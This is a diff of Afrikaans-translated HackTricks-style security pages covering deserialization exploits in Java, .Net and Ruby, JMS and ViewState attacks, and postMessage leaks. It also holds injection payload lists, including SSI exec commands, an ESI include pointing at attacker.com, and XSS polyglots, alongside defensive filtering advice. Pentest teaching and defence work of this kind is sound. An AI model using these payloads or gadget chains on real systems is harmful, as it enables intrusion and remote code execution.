#### serialkillerbypassgadgets
Jy kan **gebruik** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **saam met ysoserial om meer exploits te skep**. Meer inligting oor hierdie hulpmiddel in die **slides van die praatjie** waar die hulpmiddel aangebied is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
Jy kan **gebruik** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **saam met ysoserial om meer exploits te skep**. Meer inligting oor hierdie hulpmiddel in die **skyfies van die praatjie** waar die hulpmiddel aangebied is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)kan gebruik word om payloads te genereer om verskillende **Json** en **Yml** serialisering biblioteke in Java te exploiteer.\
Om die projek te compileer, moes ek hierdie **afhangklikhede** by `pom.xml` voeg:
```markup
```html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
@ -520,10 +520,10 @@ throw new java.io.IOException("Cannot be deserialized");
```
#### **Verbetering van Deserialisering Sekuriteit in Java**
**Aanpassing van `java.io.ObjectInputStream`** is 'n praktiese benadering om deserialisering proses te beveilig. Hierdie metode is geskik wanneer:
**Aanpassing van `java.io.ObjectInputStream`** is 'n praktiese benadering om deserialisering prosesse te beveilig. Hierdie metode is geskik wanneer:
- Die deserialisering kode is onder jou beheer.
- Die klasse wat verwag word vir deserialisering is bekend.
- Die klasse wat vir deserialisering verwag word, is bekend.
Oorheers die **`resolveClass()`** metode om deserialisering tot slegs toegelate klasse te beperk. Dit voorkom deserialisering van enige klas behalwe dié wat eksplisiet toegelaat is, soos in die volgende voorbeeld wat deserialisering tot die `Bicycle` klas beperk:
```java
@ -546,7 +546,7 @@ return super.resolveClass(desc);
}
}
```
**Gebruik van 'n Java Agent vir Sekuriteitsverbetering** bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir **swartlys van skadelike klasse**, met 'n JVM parameter:
**Gebruik van 'n Java-agent vir sekuriteitsverbetering** bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir **swartlys van skadelike klasse**, met 'n JVM-parametervar:
```
-javaagent:name-of-agent.jar
```
@ -554,7 +554,7 @@ Dit bied 'n manier om deserialisering dinamies te beveilig, ideaal vir omgewings
Kyk na 'n voorbeeld in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`** koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekte moet voldoen voordat dit gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.
**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`** koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekke moet voldoen voordat hulle gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.
Om serialisering filters te gebruik, kan jy 'n globale filter stel wat op alle deserialisering operasies van toepassing is of dit dinamies vir spesifieke strome konfigureer. Byvoorbeeld:
```java
@ -571,7 +571,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
**Benutting van Eksterne Biblioteke vir Verbeterde Sekuriteit**: Biblioteke soos **NotSoSerial**, **jdeserialize**, en **Kryo** bied gevorderde funksies vir die beheer en monitering van Java deserialisering. Hierdie biblioteke kan addisionele lae van sekuriteit bied, soos die witlys of swartlys van klasse, die analise van geserialiseerde objekte voor deserialisering, en die implementering van pasgemaakte serialiseringstrategieë.
- **NotSoSerial** onderskep deserialiseringprosesse om die uitvoering van onbetroubare kode te voorkom.
- **jdeserialize** stel die analise van geserialiseerde Java-objekte in staat sonder om hulle te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer.
- **jdeserialize** maak dit moontlik om geserialiseerde Java-objekte te analiseer sonder om hulle te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer.
- **Kryo** is 'n alternatiewe serialiseringraamwerk wat fokus op spoed en doeltreffendheid, en bied konfigureerbare serialiseringstrategieë wat sekuriteit kan verbeter.
### Verwysings
@ -586,7 +586,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Java en .Net JSON deserialisering **papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** praat: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) en skyfies: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Deserialiserings CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
- Deserialisering CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Inspuiting & log4Shell
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Boodskapdiens
> Die **Java Boodskapdiens** (**JMS**) API is 'n Java boodskap-georiënteerde middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsentverbruiker probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat by Sun Microsystems ontwikkel is, maar wat sedertdien deur die Java Gemeenskapproses gelei is. Dit is 'n boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang en lees. Dit laat die kommunikasie tussen verskillende komponente van 'n verspreide toepassing toe om losweg gekoppel, betroubaar en asynchrone te wees. (Van [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> Die **Java Boodskapdiens** (**JMS**) API is 'n Java boodskap-georiënteerde middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsentverbruiker probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat by Sun Microsystems ontwikkel is, maar wat sedertdien deur die Java Gemeenskapsproses gelei is. Dit is 'n boodskapstandaard wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang en lees. Dit laat die kommunikasie tussen verskillende komponente van 'n verspreide toepassing toe om losweg gekoppel, betroubaar en asynchrone te wees. (Van [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Produkte
@ -610,10 +610,10 @@ Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:
### Ontginning
So, basies is daar 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg regte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om **kwaadwillige geserialiseerde objekte te stuur wat deur die verbruiker/abonnee gedeserialiseer sal word**.\
So, basies is daar 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg voorregte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om **kwaadwillige geserialiseerde objekte te stuur wat deur die verbruiker/subscriber gedeserialiseer sal word**.\
Dit beteken dat in hierdie ontginning al die **kliënte wat daardie boodskap gaan gebruik, besmet sal raak**.
Jy moet onthou dat selfs al is 'n diens kwesbaar (omdat dit onveilige deserialisering van gebruikersinvoer doen) jy steeds geldige gadgets moet vind om die kwesbaarheid te ontgin.
Jy moet onthou dat selfs al is 'n diens kwesbaar (omdat dit onveilig gebruikersinvoer deserialiseer) jy steeds geldige gadgets moet vind om die kwesbaarheid te ontgin.
Die hulpmiddel [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **verbinding te maak en hierdie dienste aan te val deur verskeie kwaadwillige geserialiseerde objekte te stuur wat bekende gadgets gebruik**. Hierdie ontginnings sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing is.
@ -624,7 +624,7 @@ Die hulpmiddel [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **ver
## .Net
In die konteks van .Net, werk deserialisering ontginnings op 'n manier soortgelyk aan dié wat in Java gevind word, waar gadgets ontgin word om spesifieke kode tydens die deserialisering van 'n objek uit te voer.
In die konteks van .Net, werk deserialisering ontginnings op 'n manier soortgelyk aan dié wat in Java gevind word, waar gadgets ontgin word om spesifieke kode te laat loop tydens die deserialisering van 'n objek.
### Vingerafdruk
@ -643,15 +643,15 @@ Die soektog moet teiken op die Base64-gecodeerde string **AAEAAAD/////** of enig
### ysoserial.net
In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repo afgelaai het, moet jy **die hulpmiddel saamstel** met Visual Studio byvoorbeeld.
In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repository afgelaai het, moet jy **die hulpmiddel compileer** met Visual Studio byvoorbeeld.
As jy wil leer oor **hoe ysoserial.net sy ontginning skep** kan jy [**hierdie bladsy kyk waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Die hoofopsies van **ysoserial.net** is: **`--gadget`**, **`--formatter`**, **`--output`** en **`--plugin`.**
- **`--gadget`** word gebruik om die gadget aan te dui wat misbruik moet word (gee die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer).
- **`--formatter`**, gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer)
- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** gegecodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering-kompatibiliteitsprobleme** hê wat die ontginning sal verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dat dit altyd sal werk)._
- **`--formatter`**, word gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer)
- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** gegecodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering kompatibiliteitsprobleme** hê wat sal voorkom dat die ontginning behoorlik werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dit sal altyd werk nie)._
- **`--plugin`** ysoserial.net ondersteun plugins om **ontginnings vir spesifieke raamwerke** soos ViewState te maak.
#### Meer ysoserial.net parameters
@ -710,7 +710,7 @@ Daarom laat die **`--test`** parameter ons toe om te verstaan **watter stukke ko
### ViewState
Kyk na [hierdie POST oor **hoe om te probeer om die \_\_ViewState parameter van .Net te ontplof** ](exploiting-__viewstate-parameter.md) om **arbitraire kode uit te voer.** As jy **reeds die geheime** wat deur die slagoffer masjien gebruik word, ken, [**lees hierdie pos om te weet hoe om kode uit te voer**](exploiting-__viewstate-knowing-the-secret.md)**.**
Kyk na [hierdie POST oor **hoe om te probeer om die \_\_ViewState parameter van .Net te ontplof**](exploiting-__viewstate-parameter.md) om **arbitraire kode uit te voer.** As jy **reeds die geheime** wat deur die slagoffer masjien gebruik word, ken, [**lees hierdie pos om te weet hoe om kode uit te voer**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Preventie
@ -719,11 +719,11 @@ Om die risiko's wat met deserialisasie in .Net geassosieer word, te verminder:
- **Vermy om datastrome toe te laat om hul objektipe te definieer.** Gebruik `DataContractSerializer` of `XmlSerializer` wanneer moontlik.
- **Vir `JSON.Net`, stel `TypeNameHandling` op `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **Vermy om `JavaScriptSerializer` met 'n `JavaScriptTypeResolver` te gebruik.**
- **Beperk die tipes wat gedeserialiseer kan word**, verstaan die inherente risiko's met .Net tipes, soos `System.IO.FileInfo`, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diensaanvalle kan lei.
- **Beperk die tipes wat gedeserialiseer kan word**, terwyl jy die inherente risiko's van .Net tipes verstaan, soos `System.IO.FileInfo`, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diensaanvalle kan lei.
- **Wees versigtig met tipes wat riskante eienskappe het**, soos `System.ComponentModel.DataAnnotations.ValidationException` met sy `Value` eienskap, wat uitgebuit kan word.
- **Beheer tipe-instansie veilig** om te voorkom dat aanvallers die deserialisasieproses beïnvloed, wat selfs `DataContractSerializer` of `XmlSerializer` kwesbaar maak.
- **Implementeer witlysbeheer** met 'n pasgemaakte `SerializationBinder` vir `BinaryFormatter` en `JSON.Net`.
- **Bly ingelig oor bekende onveilige deserialisasie gadgets** binne .Net en verseker dat deserializers nie sulke tipes instansieer nie.
- **Bly ingelig oor bekende onveilige deserialisasie-gadgets** binne .Net en verseker dat deserializers nie sulke tipes instansieer nie.
- **Isolateer potensieel riskante kode** van kode met internettoegang om te voorkom dat bekende gadgets, soos `System.Windows.Data.ObjectDataProvider` in WPF-toepassings, aan onbetroubare databronne blootgestel word.
### **Verwysings**
@ -819,7 +819,7 @@ Ander RCE-ketting om Ruby On Rails te benut: [https://codeclimate.com/blog/rails
### Ruby .send() metode
Soos verduidelik in [**hierdie kwesbaarheidsverslag**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), as sommige gebruiker ongesuiwerde invoer die `.send()` metode van 'n ruby objek bereik, laat hierdie metode toe om **enige ander metode** van die objek met enige parameters aan te roep.
Soos verduidelik in [**hierdie kwesbaarheidsverslag**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), as 'n gebruiker ongesuiwerde invoer by die `.send()` metode van 'n ruby objek kom, laat hierdie metode toe om **enige ander metode** van die objek met enige parameters aan te roep.
Byvoorbeeld, om eval aan te roep en dan ruby kode as tweede parameter sal toelaat om arbitrêre kode uit te voer:
```ruby
@ -854,17 +854,17 @@ Kyk hoe dit moontlik kan wees om 'n [Ruby klas te besoedel en dit hier te misbru
### Ruby _json besoedeling
Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil, in die liggaam in te stel. As die agterkant byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang uitgevoer word.
Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil, in die liggaam in te stel. As die backend byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang plaasvind.
Kyk meer inligting in die [Ruby _json besoedeling bladsy](ruby-_json-pollution.md).
### Ander biblioteke
Hierdie tegniek is geneem [ **uit hierdie blogpos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Hierdie tegniek is geneem [**uit hierdie blogpos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Daar is ander Ruby biblioteke wat gebruik kan word om voorwerpe te serialiseer en wat dus misbruik kan word om RCE te verkry tydens 'n onveilige deserialisering. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat hulle van die gelaaide biblioteek noem wanneer dit nie-geserialiseer is nie (funksie om te misbruik om RCE te verkry basies):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteek</strong></td><td><strong>Invoerdata</strong></td><td><strong>Kick-off metode binne klas</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binêr</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteek</strong></td><td><strong>Invoergegewens</strong></td><td><strong>Kick-off metode binne klas</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binêr</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))</td></tr></tbody></table>
Basiese voorbeeld:
```ruby
@ -888,7 +888,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spec sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL op te haal, wat 'n groot detektor van hierdie soort ongesaniteerde deserialisering kwesbaarhede bied.
In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spec sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL te verkry, wat 'n groot detektor van hierdie soort onsuiwer deserialisasie kwesbaarhede bied.
```json
{
"^o": "URI::HTTP",
@ -922,6 +922,6 @@ Boonop is gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep wo
}
}
```
Kyk vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Kontroleer vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -57,8 +57,8 @@ javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
## Open Redirect oplaai van svg-lêers
```markup
## Open Redirect om svg-lêers op te laai
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg

View File

@ -91,10 +91,10 @@ $(ls)
## Hangende Merk
### Basiese Toetse
```markup
```html
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
## [Lêer Insluiting/Pad Traversering](../file-inclusion/index.html)
### Basiese Toetse
```bash
@ -130,14 +130,14 @@ javascript:alert(1)
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
### Basiese Toetse
```markup
```html
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Polygloths
```markup
```html
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
@ -147,7 +147,7 @@ Die dieselfde toetse wat vir Open Redirect gebruik word, kan hier gebruik word.
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
### Basiese Toetse
```markup
```html
${{<%[%'"}}%\
{{7*7}}
${7*7}
@ -162,24 +162,24 @@ ${{7*7}}
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Basiese Toetse
```markup
```html
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Polygloths
```markup
```html
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### Basiese Toetse
```markup
```html
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Polygloths
```markup
```html
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

View File

@ -38,9 +38,9 @@ As die **wildcard** gebruik word, kan **boodskappe na enige domein gestuur word*
### Aanval op iframe & wildcard in **targetOrigin**
Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n bladsy vind wat **iframed** kan word (geen `X-Frame-Header` beskerming nie) en wat **sensitiewe** boodskap via **postMessage** stuur met 'n **wildcard** (\*), kan jy die **oorsprong** van die **iframe** **wysig** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word **lek**.\
Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n bladsy vind wat **iframed** kan word (geen `X-Frame-Header` beskerming nie) en wat **sensitiewe** boodskap via **postMessage** met 'n **wildcard** (\*) stuur, kan jy die **oorsprong** van die **iframe** **wysig** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word **lek**.\
Let wel dat as die bladsy iframed kan word, maar die **targetOrigin** **op 'n URL en nie op 'n wildcard** gestel is nie, hierdie **truuk sal nie werk**.
```markup
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
@ -69,18 +69,18 @@ if (event.origin !== "http://example.org:8080") return
false
)
```
Let wel in hierdie geval hoe die **eerste ding** wat die kode doen is **om die oorsprong te kontroleer**. Dit is vreeslik **belangrik** veral as die bladsy **enigiets sensitiefs** met die ontvangde inligting gaan doen (soos om 'n wagwoord te verander). **As dit nie die oorsprong kontroleer nie, kan aanvallers slagoffers dwing om arbitrêre data na hierdie eindpunte te stuur** en die slagoffers se wagwoorde te verander (in hierdie voorbeeld).
Let wel in hierdie geval hoe die **eerste ding** wat die kode doen is **om die oorsprong te kontroleer**. Dit is vreeslik **belangrik**, veral as die bladsy **enigiets sensitiefs** met die ontvangde inligting gaan doen (soos om 'n wagwoord te verander). **As dit nie die oorsprong kontroleer nie, kan aanvallers slagoffers dwing om arbitrêre data na hierdie eindpunte te stuur** en die slagoffers se wagwoorde te verander (in hierdie voorbeeld).
### Enumerasie
Om **gebeurtenisluisteraars** in die huidige bladsy te **vind** kan jy:
Om **gebeurtenisluisteraars** in die huidige bladsy te **vind**, kan jy:
- **Soek** die JS-kode vir `window.addEventListener` en `$(window).on` (_JQuery weergawe_)
- **Voer** in die ontwikkelaarstoepassingskonsol uit: `getEventListeners(window)`
- **Voer** in die ontwikkelaarstoele console in: `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Gaan na** _Elements --> Event Listeners_ in die ontwikkelaarstoepassings van die blaaier
- **Gaan na** _Elements --> Event Listeners_ in die ontwikkelaarstoele van die blaaier
![](<../../images/image (396).png>)
@ -122,7 +122,7 @@ result.message // "'"<b>\"
In die konteks van hierdie kwesbaarheid, is die `File` objek merkwaardig uitbuitbaar weens sy leesbare `name` eienskap. Hierdie eienskap, wanneer in sjablone gebruik, word nie gesaniteer deur die `escapeHtml` funksie nie, wat lei tot potensiële sekuriteitsrisiko's.
- Die `document.domain` eienskap in JavaScript kan deur 'n skrif gestel word om die domein te verkort, wat 'n meer ontspanne same oorsprong beleid afdwinging binne die selfde ouerdomein moontlik maak.
- Die `document.domain` eienskap in JavaScript kan deur 'n skrip gestel word om die domein te verkort, wat 'n meer ontspanne same oorsprong beleid afdwinging binne die selfde ouerdomein moontlik maak.
### e.origin == window.origin omseiling
@ -130,7 +130,7 @@ Wanneer 'n webblad binne 'n **sandboxed iframe** ingebed word met %%%%%%, is dit
Deur **`allow-popups`** in die sandbox eienskap spesifiek te maak, erf enige pop-up venster wat vanuit die iframe geopen word die sandbox beperkings van sy ouer. Dit beteken dat tensy die **`allow-popups-to-escape-sandbox`** eienskap ook ingesluit is, die pop-up venster se oorsprong ook op `null` gestel word, wat ooreenstem met die iframe se oorsprong.
Gevolglik, wanneer 'n pop-up onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die pop-up gestuur word met **`postMessage`**, het beide die sending en ontvangende kante hul oorsprong op `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** waar is (`null == null`), omdat beide die iframe en die pop-up die selfde oorsprong waarde van `null` deel.
Gevolglik, wanneer 'n pop-up onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die pop-up gestuur word met **`postMessage`**, het beide die sender en ontvanger se oorspronge op `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** waar is (`null == null`), omdat beide die iframe en die pop-up die selfde oorsprong waarde van `null` deel.
Vir meer inligting **lees**:
@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md
### Omseiling van e.source
Dit is moontlik om te kontroleer of die boodskap van dieselfde venster kom waar die skrif luister (spesiaal interessant vir **Inhoud Skrifte van blaaier uitbreidings** om te kontroleer of die boodskap van dieselfde bladsy gestuur is):
Dit is moontlik om te kontroleer of die boodskap van dieselfde venster kom waarin die skrip luister (spesiaal interessant vir **Inhoud Skrifte van blaaier uitbreidings** om te kontroleer of die boodskap van dieselfde bladsy gestuur is):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
@ -157,9 +157,9 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header omseiling
Om hierdie aanvalle uit te voer, sal u idealiter in staat wees om die **slagoffer webblad** binne 'n `iframe` te plaas. Maar sommige headers soos `X-Frame-Header` kan daardie **gedrag** **voorkom**.\
Om hierdie aanvalle uit te voer, sal u idealiter in staat wees om die **slagoffer se webblad** binne 'n `iframe` te plaas. Maar sommige headers soos `X-Frame-Header` kan daardie **gedrag** **voorkom**.\
In daardie scenario's kan u steeds 'n minder stealthy aanval gebruik. U kan 'n nuwe oortjie oopmaak na die kwesbare webtoepassing en daarmee kommunikeer:
```markup
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);

View File

@ -2,8 +2,8 @@
# Beskrywing
In 'n situasie waar 'n **aanvaller** die **`href`** argument van 'n **`<a`** tag met die attribuut **`target="_blank" rel="opener"`** kan **beheer**, wat deur 'n slagoffer geklik gaan word, kan die **aanvaller** hierdie **skakel** na 'n web wat onder sy beheer is (n **kwaadwillige** **webwerf**). Dan, sodra die **slagoffer op die skakel klik** en toegang tot die aanvaller se webwerf verkry, sal hierdie **kwaadwillige** **webwerf** in staat wees om die **oorspronklike** **bladsy** via die javascript objek **`window.opener`** te **beheer**.\
As die bladsy nie **`rel="opener"` het nie, maar **`target="_blank"` bevat en ook nie `rel="noopener"` het nie**, kan dit ook kwesbaar wees.
